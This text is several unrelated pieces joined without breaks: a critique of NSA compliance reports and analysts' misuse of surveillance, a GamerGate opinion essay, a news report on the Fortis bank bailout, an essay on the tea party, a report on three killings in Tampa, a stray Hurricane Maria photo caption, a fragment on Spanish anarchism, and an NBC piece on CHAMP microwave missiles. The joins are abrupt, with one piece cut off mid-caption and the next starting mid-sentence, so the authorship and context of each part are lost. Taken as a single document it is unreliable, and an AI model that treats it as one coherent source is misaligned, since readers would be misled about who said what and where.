The first notable thing about these reports is that nearly every single number has been redacted. For example, several of the reports contained standardized charts listing numbers of US person identities disseminated by the NSA. The content of these charts is redacted. Similarly, all information regarding computer network exploitation is redacted.
However, the reports still contain sufficient information to see patterns of problems in the NSA. One issue that comes up repeatedly is the failure to stop collection on numbers in a timely manner, due to lack of communication, confusion, or software problems. Similarly, the reports outline myriad instances of ostensibly accidental misuse of databases, including problems as mundane as accidentally sending a print job containing classified information to an office with individuals not authorized to see it.
This is important not because anyone expects the NSA to be completely mistake free. It’s important because it gives yet another reason why the NSA simply shouldn’t be collecting so much data—no matter what systems are in place, mistakes happen. People who are not supposed to see information see it. Analysts and other employees will, and do, make mistakes.
But of course, accidental misuse isn’t the only problem. The reports outline several places where systems are misused to target family members or partners. They correspond to descriptions of these incidents in a letter sent to Senator Chuck Grassley in response to his questions about misuse:
A soldier in a U.S. Army used the SIGINT (signals intelligence) system to target his wife, who was also a soldier.
“An NSA employee used the SIGINT system to target his foreign girlfriend.”
An NSA analyst “searched her spouse’s personal telephone directory without his knowledge to obtain names and telephone numbers for targeting.”
And finally, an interesting tidbit in the 2001 report: Several incidents of “improper retrieval strategies” happened “in the immediate aftermath of the 11 September terrorist attacks when rumors were rife that the rules governing SIGINT collection were going to be suspended.” While no one disputes how horrifying the 9/11 attacks were, that doesn’t change the fact that the rules that limit government impingement on civil liberties exist precisely for situations where the government would be tempted to overstep its bounds.
The rules may not have been suspended after 9/11, but these newly released documents make one thing clear: the Government is clearly not fully capable of following the rules in the first place."Don't mess with Mister In-Between."
~Johnny Mercer
I think #GamerGate's smartest critics understand it best.
Someone like Damien Schubert, for instance, whose blog has had the best, most level-headed, and on-point criticism of #GamerGate I've read, seems to understand the hashtag-movement perhaps even better than many of its participants.
(You can read Schubert's blog here.)
Other critics seem to miss the mark. Their articles on #GamerGate are intended only to inflame pro-GG folk. As game developer David Jaffe snarked on Twitter: "You think people who write about GG negatively WANT GG to go away?!?! You are lining their pockets, folks."
Take, for instance, this Polygon piece by Emily Gera. She's arguing that #GamerGate is anti-criticism, essentially, and that in many ways it's an attempt to scourge in-depth criticism from game journalism. I would agree with her up to a point: I've often argued with #GamerGate supporters about this. I believe everything from conservative family values to whatever-wave feminism has a place in criticism---whether that's video games, film, or any other medium. More on this later.
In her article, Gera notes that there was a backlash to Polygon's Dragon's Crown review. Indeed, there was a lot of squabbling between the press, who generally called the game sexist and misogynistic, and gamers who didn't see a problem with it and its oddly proportioned characters (including muscled men and busty women.)
I didn't think it was necessarily sexist, though I can still see how it could turn some gamers off. But by and large this was a conversation between journalists on the one hand and gamers on the other. Not between alternating viewpoints within the gaming press itself.
Note this divide. It's important.
Read More - An Interview with the Creator of Dragon's Crown
Anyways, Gera argues that the #GamerGate movement is inherently anti-criticism, and I think she has a point. I don't agree with the whole "keep your agenda out of your review" line of thinking---partly because I like to pick apart people's agenda-driven reviews in my own writing. And because I'd be a hypocrite if I said my own reviews aren't littered with my own personal beliefs, opinions, observations, and the like.
Reviews are subjective and a critic is supposed to bring their own take. Polygon is generally left-leaning. Breitbart's review of Dragon Age: Inquisition is extraordinarily rightwing. I have my own personal axes to grind, my pet peeves, my politics, all of which inform my criticism---a criticism, I might add, which I write both for the consumer and for myself. A critic must be selfish or their criticism wouldn't be honest.
As consumers of media, as readers, we're required to do a bit of legwork and find the critics we agree (or disagree) with. I like reading both, personally, as I tend to enjoy a certain level of balance in all things. I would abhor a world where all game reviews were "objective" and discussed only the basics of gameplay and mechanics. Even worse: A world of unremarkable agreement. Beware, dear readers, confirmation bias. If someone is telling you everything you want to hear, they're probably lying.
After playing The Last of Us, I want to hear about peoples' impressions on the story, on Joel's actions, on fundamental questions of value. Not just how melee combat felt. Not just how graphics look. I can see that with my own eyes. If that also means reading about why Bayonetta is sexist, or why the lesbian scenes in Dragon Age are off-putting, then so be it. I'll just do the impossible and, I dunno, disagree, make up my own mind, that sort of Herculean stuff.
In any case, these days we can turn to all sorts of sources for our information and reviews. As Gera notes, "in a digital era where everyone is potentially a critic, criticism is anything but dead."
Read More - Bayonetta 2 First Impressions and Review Round-Up
Games have evolved and so must criticism.
But recall that divide I mentioned earlier? An animosity lurks between the press and its readership that really is unique to video games---and this is crucial to our story, dear reader.
Gera is crafting a fairly reasonable critique of #GamerGate here, and its misguided take on game criticism. But then, because this is #GamerGate we're talking about, because this is what game writers do when discussing gamers apparently, she veers off into flamewar land, needlessly provoking a huge segment of the gaming demographic.
"Pure gaming is a state in which the target audience, mostly straight males, play with hands filled with controllers and brains filled with very little." That, dear readers, is Gera's definition of "pure gaming" in its natural state. Nasty, brutish, and short---and populated solely by those terrible, brainless, straight males. Without Polygon all they (we?) would do is sit around brainlessly playing games, without a thought in their (our?) heads. What a gross, offensive assumption aimed to at once flame #GamerGate back from its emberlike slumber and send signals to like-minded people.
"Thus is GamerGate the grim reaper," she writes, "here to kill criticism and return games to their past; where all sorts of rather off-putting content is consumed without comment. It's a mob aimed not just at killing critical thought, but which is mad crazy with the idea that critical thought is happening somewhere, about something."
Gera concludes that this is "evidence of an opposition to authoritative voices in media." Which assumes, naturally, that she and the rest of us blogging about video games are "authoritative voices" in the first place, though she does nothing whatsoever to back that assumption up. Rather we are simply told that without the current crop of critics, video games would exist in a sort of Dark Ages.
Read More - Sony's Boring PS4 Is Winning the Console War Despite More Exciting Competition
So What Is #GamerGate Actually About?
Is it a "consumer movement" as I once suggested? Not really, though there are consumer advocates associated with it, and consumer concerns are a part of its raison d'etre.
Is it a "hate group" as the vast majority of the gaming and mainstream press has claimed? Not really, though there are hateful people associated with it, including some people I certainly wouldn't want to be affiliated with (a big part of the movement's problem.)
#GamerGate isn't actually about ethics in game journalism, either.
Nor is it about women in the video game industry, or about harassing them out of it (anyone paying attention will notice many women are actually fan favorites of a lot of #GamerGate supporters.)
It's not about Social Justice Warriors or a new conservatism in video games.
Mostly it's about a toxic relationship that's formed between the video game press and gamers themselves, one that's been bubbling and brewing for years, not months.
This dynamic, this hostile relationship, exists outside of #GamerGate as well. I think a lot of gamers who want nothing to do with the hashtag---understandably, considering the bad press it's gotten over harassment---are still upset with the gaming press (as are some members of the press and many developers and PR people.) Critics of #GamerGate are often critical of game journalists, too.
I say all of this because, as with the Dragon's Crown example above, you simply can't understand #GamerGate without understanding the long history of bad blood that preceded it.
Anyone who says #GamerGate started because of Zoe Quinn or Leigh Alexander's "gamers are dead" article is a person speaking without any knowledge of history. Those were kindling added to a fire, not sparks.
It's very easy for outsiders to simply hear that gamers are sexist and nod along in agreement. After all, those games are so violent and the women are always so scantily clad in the commercials. And besides aren't all gamers just teenage boys?
Right.
Maybe it's time for...
A History Lesson!
I wrote about DmC and its PS4/Xbox One release earlier today, and in so doing pulled up an old article I'd written about the controversy surrounding that game.
In that piece, I respond to game writer Ben Parfitt of MCV who complains that gamers hurt sales of DmC out of spite.
Game writers upset with "entitled gamers" over their outrage following the ending of Mass Effect 3 often made a suggestion: Vote with your wallet. (A suggestion that doesn't always apply that well to video games in the first place.)
Then, a year later when DmC sells poorly, they turn around and call fans spiteful for not buying a game that they clearly didn't want to play. It's so obtuse and smug. Is it any wonder gamers start to view the press as adversaries rather than advocates?
Indeed, Parfitt himself described fan backlash to Mass Effect 3 as an "avalanche of self-entitlement" because obviously consumers have no right to complain about their products, and really no right to even choose not to buy them. If you're a gamer, your gaming press likely views you as either A) misogynistic; B) entitled; or C) spiteful. Or D) All of the above!
Not all in the gaming press feel this way, of course, and some gamers do fit the bill, but we're driving at an issue that's largely about perception. So bear with me. We're getting closer.
Read More - Why 'Buyer Beware' Is a Terrible Excuse for Bad Video Games
I, Shill
To be fair, I deal with annoying accusations made by upset gamers all the time. My comment box and Twitter stream is regularly disrupted by angry gamers who dislike what I've said about some game, or think I'm a "liberal nutjob" or a Sony/Microsoft/Nintendo shill. One day I'm supporting harassment of women and the next I'm a white knight SJW. Or I'm both! Because that gets me the pageviews apparently! (#GamerGate has been fairly dismal as far as cost-benefit analysis goes. I would be better off hyping game trailers. But I digress.)
This stuff can be exhausting after awhile. But I also have the presence of mind to realize it's a minority of voices making stupid accusations, making threats, fanning the flamewars---it's a vocal and persistent minority, not representative of gamers as a whole, just like the horrible stuff you read on local news sites isn't representative of the town those people supposedly live in. Just like the internet, in general, doesn't accurately reflect the world we live in, for better or worse.
In any case, from Mass Effect 3 and DmC we can move on to observe DoritoGate, which Kotaku editor-in-chief Stephen Totillo wrote about at the time quite eloquently, offering some excellent insights into why gamers and the press are so at odds.
And I think there's more to the story, too. Gamers are routinely described as sexist, even if like in the rest of our culture sexism is at once structural, rooted in complex cultural factors, and not necessarily an issue with the majority of people. But gamers are uniquely sexist, we are told, and we are often told this by game writers. Because they are adversaries, not advocates.
Or so it would seem.
Read More – Are Fans to Blame for Lower-Than-Expected ‘DmC’ Sales?
Double-edged sword.
Sometimes game writers should be adversaries. As critics and thinkers we should challenge our readers.
I don't think there's anything about being a gamer or a reader that ought to shield you from criticism, and I have many times written pieces intended to criticize and challenge my own readers, including articles like this one which are intentionally deceptive. Or articles like this one which challenge our definition of what constitutes "clickbait" (a word almost as overused as "misogynist.")
#GamerGate supporters (and anyone else for that matter) who argue that reviews should be objective or "unbiased" need to have that assumption challenged. Reviews should be free of undue influence from their creators, not free of the personal opinions of the critics themeslves.
How is all of this related?
Of course, this concern, that game critics are "in the pocket" of the industry they cover or "in bed" with developers (both figuratively and literally) is at the heart of the "ethics in game journalism" crusade that sparked this iteration of the thing that is now called #GamerGate.
But if that's the heart of #GamerGate, then why are so many of its supporters obsessed with Anita Sarkeesian and feminism and SJWs?
I would say that the the intertwining of the two is a reflection of the relationship that's formed between gamers and press.
The same journalists who are perceived as being too close to developers, corrupted by relationships and ad dollars, are also the ones telling gamers they're sexist and the games they play are harmful to women. The adversarial nature of reader and writer is compacted between the hammer that is "ethics in game journalism" and the anvil that is "SJWism." The same writers populating the nefarious GameJournoPros list (I don't actually think it's nefarious, but again we have a perception problem here) are the ones saying Bayonetta exists only for the "male gaze."
Pretty soon the lines between the two start to blur.
The Impossible Conversation
The problem with #GamerGate is that it's almost made matters worse. The division is more stark but the path forward remains utterly murky. Some video game critics who I personally disagree with on a lot of issues have risen in prominence, and others who I admire have been alienated by #GamerGate supporters. Instead of tackling the bigger issues, we've been playing identity politics. The whole "with us or against us" mindset has badly muddied the waters. And the entire thing has turned into a bunch of running jokes and memes. Sea lions are in, Doritos and Mountain Dew are out.
What's the alternative? How do we bridge the divide between press and gamer? How do we stop feeding into the culture of outrage that permeates both sides of this debate?
And believe me, outrage is very central to all of this. On one side, game critics and feminists find constant sources of outrage in video games and in gamers themselves. On the other, gamers find constant sources of outrage in the things published at places like Polygon or the personalities who dominate the upper echelons of game journalism. Outrage is hip. It's a currency unto itself. And like greed or lust or pride, it's so easy to get the bug.
In truth, I don't have a solution. I don't know how to restore balance to the Force. We needn't divorce games from politics or search out "unbiased" reviews. But simply answering social justice-driven games coverage with equally (or more) outrageous rightwing stuff is hardly a solution.
Perhaps the trick is better dialogue. I find the gaming press pretty devoid of healthy call and response. In political blogging you have guys like Andrew Sullivan who blog about all the various opinions and disagreements across the blogosphere. You have bloggers responding to other bloggers and journalists, much in the way Cathy Young calls out Vox founder Ezra Klein on her blog, or Talking Points Memo calls out Breitbart here. It's like tennis sometimes, a constant volley of ideas and disagreements. It can still be crap. It can still be dishonest or propaganda or whatever, but there's some type of conversation taking place.
In the video game space? Crickets.
Read More - 6 Reasons to Buy A Wii U Instead of A PS4 or Xbox One
When I write a critical piece about something in Kotaku or Polygon, I don't expect to ever read a published response. At best, I'll get a brief exchange on Twitter. There is no forum of disagreement, no Andrew Sullivan of video games.
Some writers, like Kotaku's Jason Schreier, have been great about engaging in ideas on Twitter, especially over issues directly relating to his publication (which, for instance, I covered here.)
Jim Sterling has discussed my work in his videos, both critically and in agreement. And these have been, in all honesty, some of my video game writing highlights. I love talking about games. I like the discussion quite a lot more than I like just sitting here in my ivory tower (or my closet, as it were, since my office is in my closet.)
And, of course, my regularly scheduled debates with Forbes' Paul Tassi are marvelous fun. But none of this is common enough. Most of the conversation over games in the gaming press occurs in forums like NeoGaf, or on Twitter, or in secret, nefarious gaming journalism mailing lists.
Feminism has a strong toehold in video game criticism as well, and the feminist blogosphere has been pretty bad about engaging in dialogue with its critics---often for good reason, given the nature of some of its most vocal dissenters---but often to the detriment of any reasonable, healthy discussion.
So someone like Anita Sarkeesian is met with tons of vitriol from gamers and YouTubers, but there's almost no healthy discussion of her work, let alone criticism of her criticism, in the gaming press itself. And that's a pretty huge problem, in my humblest of opinions, given the implications of her criticism.
And like #GamerGate, so much of the actual dialogue we see between writers/readers/gamers/industry takes place on Twitter. And Twitter is a bad place to foster healthy disagreement and dialogue.
Meanwhile, #GamerGate has made discussing issues more difficult than ever. Not just because there's a perception that harassment of women might take place, but because anyone who wants to discuss any of these issues risks getting mobbed on by people either accusing them of being pro or anti #GamerGate. Or some variation on that theme, in any case. I've been called out by anti-GG folk as a supporter of harassment and a terrible person in general and I've been called out by pro-GG people as basically the same sort of villain.
But that's just looking at the negative. I've also met some great people, been exposed to the writing and creative works of bloggers and YouTubers and others I'd never heard of before, and have participated in a serious and important discussion about this industry. When I look at it that way, it doesn't seem so bad.
Maybe we just need to accentuate the positive, people. Eliminate the negative.Please turn on JavaScript. Media requires JavaScript to play. A deal to partially nationalise European banking and insurance giant Fortis has been agreed. The move came after talks between the European Central Bank and the Netherlands, Belgium and Luxembourg. Ministers from the three countries agreed to put 11.2bn euros ($16.1bn; £8.9bn) into Fortis to save the bank. However, European bank shares fell sharply on worries that other banks could have problems, and on concerns over the US $700bn bail-out plan. One of the biggest casualties was Fortis' rival Dexia. Shares in the bank had plunged by almost a third at one stage after a newspaper report said that it was seeking extra funding. A spokeswoman for Dexia, which acts as banker for French local government, insisted that the group was in no immediate danger of collapse. The French and Belgian governments have already announced they will step in to support Dexia. Savers 'not abandoned' World stock markets fell on Monday even after the US $700bn bank bail-out deal. Investors are worried that cleaning up the mess of bad debts will affect economic growth for the foreseeable future. As part of the weekend deal to rescue Fortis, the bank will have to sell its stake in Dutch bank ABN Amro which it partially took over last year. The Dutch government has not yet named any potential buyers. Belgian Prime Minister Yves Leterme said the bail-out showed Fortis would not be allowed to fail, after its share price plunged in recent days. Mr Leterme said: "We have taken up our responsibility, we did not abandon the savers." Too big The Fortis deal will see Belgium contribute 4.7bn euros, the Netherlands 4bn euros and Luxembourg 2.5bn euros.
We are giving people security, Fortis will be stronger
Wouter Bos
Dutch finance minister
Iceland bails out Glitnir bank Bradford & Bingley nationalised Each government will take a 49% share in Fortis in their countries. The rescue by the ECB and the three countries came after no serious bidder could be found for the whole of the Fortis group. The presence of ECB chief Jean-Claude Trichet at the talks to save Fortis underlined the seriousness of concerns about the integrity of the eurozone's financial system. Fortis was seen as too big a European bank to be allowed to go under. In Belgium the bank is the country's biggest private sector employer and more than 1.5 million households or about half the country bank with the group. It employs 85,000 staff worldwide. Chairman resigns European financiers said that US financial crisis was partly to blame. "What is happening in the US has most certainly had an impact on the financial sector in the rest of the world," said Dutch central bank head Nout Wellink. "Due to rumours, Fortis became a bank in a special position," he said. Dutch finance minister Wouter Bos said: "We could not have intervened - but the question was whether Fortis would have survived." "We are giving people security, Fortis will be stronger," he said. Fortis was seen as too big to be allowed to fail Under the deal Fortis chairman, Maurice Lippens, will resign and will be replaced by an outside candidate. Mr Lippens has been criticised by shareholders for concealing problems at the bank. The bank's interim chief executive Herman Verwilst has also stepped down and his replacement Filip Dierckx has already taken over. Asset sale Insolvency fears saw the company's shares fall to their lowest level in more than a decade before the deal was announced. The shares have lost more than three-quarters of their value in the past year. Fortis, which has its joint headquarters in the Belgian capital Brussels and in Utrecht in the Netherlands, has denied any solvency problems were imminent. The bank's problems have their origin in its participation - along with Britain's Royal Bank of Scotland and Spain's Santander - in the 70bn euro purchase of the Dutch bank ABN last year. Fortis has been weighed down by the 24bn euros it paid for its share of ABN. Before this bail-out Fortis said it needed to raise around 5bn euros as it absorbed ABN's Dutch retail banking arm. It had said it could meet the shortfall by selling other assets, but has so far found it hard to find any buyers. Last month, Fortis announced its profits for the first six months had fallen by 41% to 1.6bn euros (£1.2bn) against a year ago.
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Its birth certificate says that the tea party was born one month after Barack Obama’s inauguration, on the day that CNBC’s Rick Santelli delivered a blistering on-air tirade against Obama’s mortgage bailout plan. But that’s only the official story. In reality, we’ve seen the tea party before. When FDR was president, it was called the American Liberty League. When JFK was president, it was the John Birch Society. When Bill Clinton was president, it was the Vince Foster conspiracy theorists. America’s far right fluoresces like this whenever a Democrat is in the White House, and Obama’s first term was no exception.
But the tea party burned bright and fell fast. Sure, it galvanized opposition to Obama in a media-friendly kind of way, and helped power the Republican Party to a big majority in the House of Representatives in the 2010 midterms. But given the state of the economy this was a victory they probably would have won anyway. And on the other side of the Capitol building, the tea party was almost certainly responsible for the loss of three winnable Senate seats that year. By 2012, after tea party forces nominated several more “wackadoodles” (in Republican strategist Steve Schmidt’s phrasing) and helped the GOP lose two more winnable Senate seats, its name was officially mud.
But none of that matters. The tea party has done its job, and for all practical purposes its hard-nosed, no-compromise ideology now controls the Republican Party in a way that neither the Birchers nor the Clinton conspiracy theorists ever did. It’s no longer a wing of the Republican Party, it is the Republican Party.
So what’s next? Having now lost two presidential elections in a row, conventional wisdom says Republicans have two choices. The first is to admit that tea partyism has failed. 2012 was its best chance for victory, and evolving demographics will only make hardcore conservatism less and less popular. As South Carolina Sen. Lindsey Graham has put it, “We’re not generating enough angry white guys to stay in business for the long term.” So the party will need to moderate or die.
The second option is to double down. Party activists will tell themselves that Mitt Romney was never a true conservative, and that’s what voters sensed. But Republicans can win again in 2016 if they stay true to their principles, moving farther right and amping up the obstruction of all things Obama even more. In Congress, Paul Ryan will be their pied piper and Eric Cantor will be their enforcer.
To most liberals, it seems obvious that if the GOP’s leaders are smart, they’ll choose the first option. But the truth is that this isn’t as obvious as we’d like to believe. After all, moving to the right has worked out pretty well for the party. In 1980, the Reagan revolution gave them control of the Senate for the first time in decades. In 1994, the Gingrich revolution gave them control of the House. In 1998 they impeached Bill Clinton, and two years later won the presidency. In 2009 the tea party took over, and in 2010 they won a landslide midterm victory. The truth is that an ever more radicalized GOP seems to have done at least as well as a more normal GOP probably would have done. Maybe better.
So for now, at least, it seems probable that we’re stuck with Option 2. Republican Party elders will probably try to be a little more careful about vetting candidates for political Tourette syndrome (no more “legitimate rape,” please), but otherwise the tea party strain will remain ascendant even if the name itself is relegated to the ash heap of history. Republicans will continue to deny climate change, continue to insist that tax cuts pay for themselves, and continue to believe that Barack Obama is a socialist revolutionary. They will once again hold America’s economy hostage over the debt ceiling and tax cuts for the rich, and they will continue to filibuster every single bill that Democrats introduce in the Senate.
That much is, frankly, so predictable as to be uninteresting. What is interesting is this: Why doesn’t the American electorate punish this behavior? After all, polls don’t suggest that the public has moved much to the right over the past few decades, and yet it continues to give an ever more right-wing Republican Party about 50 percent of the vote. What’s going on?
At this point we enter the realm of guesswork. One guess is that the public treats unhinged behavior from Republicans these days as merely a kind of brand marker, not something to be taken seriously. Based on past experience, they figure that once Republicans are actually in office they’ll talk crazy but mostly act like a fairly normal conservative party.
For liberals, a more unnerving guess is that we simply haven’t made ourselves into a consistently appealing alternative for persuadable centrists. We’re too eager to raise taxes. We display too much public contempt for things like religion and gun ownership. We don’t offer the middle class enough in the way of concrete benefits, and when we do (as with Obamacare) we sell it so poorly that people barely even realize what they’re getting.
If either—or both—of these things are true, it’s easy to see why Republican extremism hasn’t hurt them very much. The next few years, however, could finally be different. If Republicans hold the American economy hostage over the debt ceiling again, their crazy talk might start to sound a little more worrisome. If voters start taking climate change more seriously in the wake of Sandy, concerned independents might abandon a denialist GOP. If the growth of the black and Hispanic electorate causes Republicans to double down on efforts to suppress the nonwhite vote, they could provoke a serious backlash. And if Obamacare gets implemented competently and Democrats make serious progress on reining in the deficit, centrists might not have much reason left to vote against them.
In any case, there’s a simple message here for lefties: Don’t worry so much about Republicans. Worry about getting the public on our side. If we do that, the GOP will either back away from crazytown or else it will die a natural death. To borrow James Carville’s famous epigram, It’s Public Opinion, Stupid.A serial killer might be on the loose in Tampa, Florida.
Police are warning people not to walk alone at night in the Seminole Heights neighborhood after a third person in 10 days was shot to death on Thursday night.
As CBS News correspondent Manuel Bojorquez reports, police seem certain their murders are all connected, even though the victims did not appear to know one another.
Frightened residents did what they could to reclaim the streets of the neighborhood Friday night, chanting "Whose streets? Our streets!" a day after 20-year-old Anthony Naiboa was found shot to death on a sidewalk.
Naiboa, who was autistic, had just gotten off the wrong bus home from work when he was shot. His family knew something was wrong when he didn't come home.
Anthony Naiboa was shot and killed in Tampa, Florida, on Oct. 19, the third person killed in 10 days.
"It's the most awful feeling that you can feel, that you know that your child is dead, and you have these people [are] coming to let you know, to confirm for you," said Maria Rodriguez, Naiboa's stepmother. "It's very devastating."
Police heard the shots that killed Naiboa. They had deployed extra patrols in the area after the two other murders in 10 days.
Naiboa was shot about 100 yards away from where Benjamin Mitchell was killed on Oct. 9.
On Oct. 13, Monica Hoffa's body was found in a vacant lot less than a mile away. She had been shot and killed two days earlier.
Monica Hoffa was shot and killed Oct. 11, and her body was found two days later.
Tampa police say they have no leads, and can't determine a motive.
"We have someone who's terrorizing the neighborhood," Tampa Police Chief Brian Dugan said.
On Friday, they released surveillance video of a person walking in the area when the first murder happened. They seem certain the murders are not a coincidence.
"Through the proximity, and the timeframe, they are related," Dugan said. "There is no doubt in our mind about that."
Police are hoping the public can help, something Naiboa's stepmother said needs to happen.
"I just hope that someone in the community can speak out. Do not be afraid," she said. "It could be your daughter, your grandson, your son, your wife, your husband. Whoever may be in your family. You don't know when it's going to be your turn. Just speak up."Neighbors sit on a couch outside their destroyed homes as sun sets in Yabucoa, Puerto Rico, on Sept. 26 — about a week after Hurricane Maria hit. (Gerald Herbert/AP |
behind various assassinations and bombings, although there is some evidence that the group was a sensational myth created by police in the Civil Guard (La Guardia Civil), notorious for their brutality; in fact, it is well known that police invented actions by their enemies, or carried them out themselves, as a tool of repression. Los Solidarios and Agrupación de los Amigos de Durruti [es] (Friends of Durruti) were other groups that used violence as a political weapon. The former group was responsible for the robbery of Banco de Bilbao which gained 300,000 pesetas, and the assassination of the Cardinal Archbishop of Zaragoza Juan Soldevilla y Romero, who was reviled as a particularly reactionary cleric. Los Solidarios stopped using violence with the end of the Primo de Rivera dictatorship, when anarchists had more opportunities to work aboveground.
In later years, anarchists were responsible for a number of church burnings throughout Spain. The Church, a powerful, usually right-wing political force in Spain, was always hated by anti-authoritarians. At this time, their influence was not as grand as in the past, but a rise of anti-Christian sentiment coincided with their perceived or real support of fascism. Many of the burnings were not committed by anarchists. However, anarchists were often used as a scapegoat by the authorities.
Rarely was violence directed towards civilians. However, there are a few recorded cases in which anarchists enforced their own beliefs with violence; one observer reports incidents in which pimps and drug dealers were shot on the spot. Forced collectivization, while exceedingly rare, did occur on several occasions when ideals were dropped in favor of wartime pragmatism. In general, though, individual holdings were respected by anarchists who opposed coercive violence more vigorously than small-scale property possession.
Despite the violence of some, many anarchists in Spain adopted an ascetic lifestyle in line with their libertarian beliefs. Smoking, drinking, gambling, and prostitution were widely looked down upon. Anarchists avoided dealing with institutions they proposed to fight against: most did not enter into marriages, go to State-run schools (libertarian schools, like the Catalan Ferrer's Escuela Moderna, were popular), or attempt to aggrandize their personal wealth. This moralism starkly contrasts with the popular view of anarchists as anomic firebrands, but also is part of another stereotype that the anarchism in Spain was a millenarian pseudo-religion.
Feminism [ edit ]
Feminism has historically played a role alongside the development of anarchism; Spain is no exception. The CNT's founding congress placed special emphasis on the role of women in the labor force and urged an effort to recruit them into the organization. There was also a denunciation of the exploitation of women in society and of wives by their husbands.
Women's rights had been integral in anarchist ideas such as coeducation, the abolition of marriage, and abortion rights, amongst others; these were quite radical ideas in traditionally Catholic Spain. Women had played a large part in many of the struggles, even fighting alongside their male comrades on the barricades. However, they were often marginalized; for example, women often were paid less in the agrarian collectives and had less visible roles in larger anarchist organizations.
A Spanish anarchist group known as Mujeres Libres (Free Women) provided day-care, education, maternity centers, and other services for the benefit of women. The group had a peak membership of between 20,000 and 38,000. Its first national congress, held in 1937, with delegations from over a dozen different cities representing about 115 smaller groups. The statutes of the organization declared its purpose as being "a. To create a conscious and responsible feminine force that will act as a vanguard of progress; b. To establish for this purpose schools, institutes, lectures, special courses, etc., to train the woman and emancipate her from the triple slavery to which she has been and still is submitted: the slavery of ignorance, the slavery of being a woman, and the slavery of being a worker."
Eskalera Karakola is a current squat in Madrid, Spain, which is held by feminists and works on autogestion principles. It was situated in the Lavapiés barrio from 1996 to 2005, and is now in Calle Embajador. The squat organizes activities focussing on domestic violence and women's precarity in post-industrial capitalism. In 2002, it created a Female Workers' Laboratory (Laboratorio de Trabajadoras), and has carried out anti-racist activities, in particular with female immigrants, since 1998. Eskalera Karakola also took part in the organization of the GLBT Pride and the forum "Women and Architecture". It participated in alter-globalization events such as the European Social Forum and is part of the European nextGENDERation network.[37] It publishes a review, Mujeres Preokupando ("Concerned Women").
See also [ edit ]
La Mano Negra, alleged violent anarchist secret society operating in Andalusia around 1880.
Vivir la Utopia, Film about Anarchism in Spain by J. Gamero.
Antorcha, a 1930s anarchist newspaper from Las Palmas
References [ edit ]Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 4, 2017, 10:59 PM GMT / Updated Dec. 4, 2017, 10:59 PM GMT By Cynthia McFadden, William M. Arkin, Kevin Monahan and Kenzi Abou-Sabe
The U.S. has microwave weapons that proponents believe could stop North Korea from launching missiles by frying their electronics.
The weapons were discussed at an August White House meeting related to North Korea, according to two U.S. officials with direct knowledge.
The microwave weapons, known as CHAMPs, are fitted into an air-launched cruise missile and delivered from B-52 bombers. With a range of 700 miles, they can fly into enemy airspace at low altitude and emit sharp pulses of microwave energy to disable electronic systems.
"These high-powered microwave signals are very effective at disrupting and possibly disabling electronic circuits," said Mary Lou Robinson, who heads development of the weapons at the Air Force Research Laboratory in Albuquerque, in an exclusive interview with NBC News.
A CHAMP missile, short for Counter-electronics High Power Microwave Advanced Missile Project. The 700-mile range missiles are capable of flying into enemy airspace at low altitude, getting close to targets and emitting a series of sharp pulses of microwave energy to disable electronic systems. NBC News
Advocates say they could be used to stop North Korea from launching missiles by targeting the ground controls and the circuitry in the missiles themselves. The weapons are not currently operational.
How does a high-power microwave (HPM) weapon work?
"Think about when you put something in your microwave that has metal on it," said Sen. Martin Heinrich, D-N.M. "You know how badly that goes? Imagine directing those microwaves at someone's electronics."
Sen. Heinrich, a member of the Armed Services Committee, began his career as an engineer at the Air Force Research Laboratory in Albuquerque.
"Command and control centers are filled with electronic infrastructure which is highly vulnerable to high powered microwaves," said ret. Lt. Gen. David Deptula, who ran the air wars in Afghanistan and Iraq and retired as the head of Air Force intelligence.
The Air Force and other government agencies have been working on the weaponization of microwaves for over two decades. Various emitters have been employed on the ground — in Afghanistan and Iraq, they have been used to disable improvised explosive devices (IEDs) and small drones.
But turning a high-power microwave into a strategic weapon was slowed by the need to reduce the size and weight of the emitter and then match it with an onboard power source sufficient to drive the microwave pulses.
The Air Force Research Laboratory began work on CHAMP, which stands for Counter-electronics High Power Microwave Advanced Missile Project, in April 2009. The lab fitted the HPM emitter into a non-nuclear version of a Boeing-built air-launched cruise missile.
Mary Lou Robinson of the Air Force Research Laboratory explains the CHAMP missile. NBC News
By October 2012, according to Air Force documents, CHAMP was ready for an operational test. A B-52 bomber launched the missile over the Utah Test and Training Range, a 2,500-square-mile testing area larger than Delaware. Mocked-up buildings were rigged with communications and computer systems that simulated possible enemy capabilities.
Many of the targets, according to internal CHAMP budget documents obtained by NBC News, involved "representative WMD production equipment" found in Iran and North Korea.
"It was as close to the real thing as we could get," Keith Coleman, CHAMP program manager for Boeing, said after the test.
"It absolutely did exactly what we thought it was going to do," said Robinson. "We had several different target classes in those facilities, and we predicted with almost 100 percent accuracy … which systems were going to be affected, which systems failed, and how."
The 2012 test, the only one so far declassified by the Pentagon, has been followed by additional tests and various experiments to advance the microwave technology. A new power source was incorporated, turning the microwave weapon into what the Air Force calls "Super CHAMP."
According to a December 2016 Air Force Research Laboratory document, the low-flying missile is now "capable of flying into a contested area and disabling an adversary's electronic systems."
Robinson said "there is no doubt" in her mind that HPM weapons work.
Could a high-power microwave weapon actually be used against North Korea?
Deptula said he believed the U.S. could use an HPM to disable a ballistic missile on a North Korean launch pad, and that there are many advantages to using microwave weapons in a North Korean scenario.
They work in all weather, said Deptula, which helps in the Korean climate, and "they're employed at the speed of light. You can't get much faster than that in terms of achieving desired effects."
The main operational constraint, Robinson said, is that the microwaves from the CHAMP emitter "aren't very far-ranging."
A CHAMP missile, short for Counter-electronics High Power Microwave Advanced Missile Project. The 700-mile range missiles are capable of flying into enemy airspace at low altitude, getting close to targets and emitting a series of sharp pulses of microwave energy to disable electronic systems. NBC News
Robinson said that in order to disable a missile or launcher's electronics, CHAMP would have to get "close" to the target. How close is classified, but "it's not tens of feet," said Robinson.
Sen. Heinrich said the challenges to using the weapon are "less technical and more mental. You spend years trying to perfect these things, and the tendency in the Pentagon is oftentimes to continue to try to perfect something. My tendency is to say, 'Hey, we've got something that really works. Let's take those things and put them into the hands of our men and women in uniform.'"
Deptula adds that one of the differences in using microwaves as opposed to explosives is assessing the effects — the destruction they wreak is not visible.
But Deptula said that "there are means to determine whether or not you've achieved your effects beyond the traditional battle damage assessment using photography."
Speaking in February 2016, Air Combat Command chief Gen. Herbert "Hawk" Carlisle said that a number of high-power microwave units were being kept as "weapons to use in a contingency."
Robinson said that "it would take a little bit of time" to make the missiles operational. Two Air Force officials with knowledge of the current plans and capabilities say that CHAMP could be ready for use quickly, possibly within days.
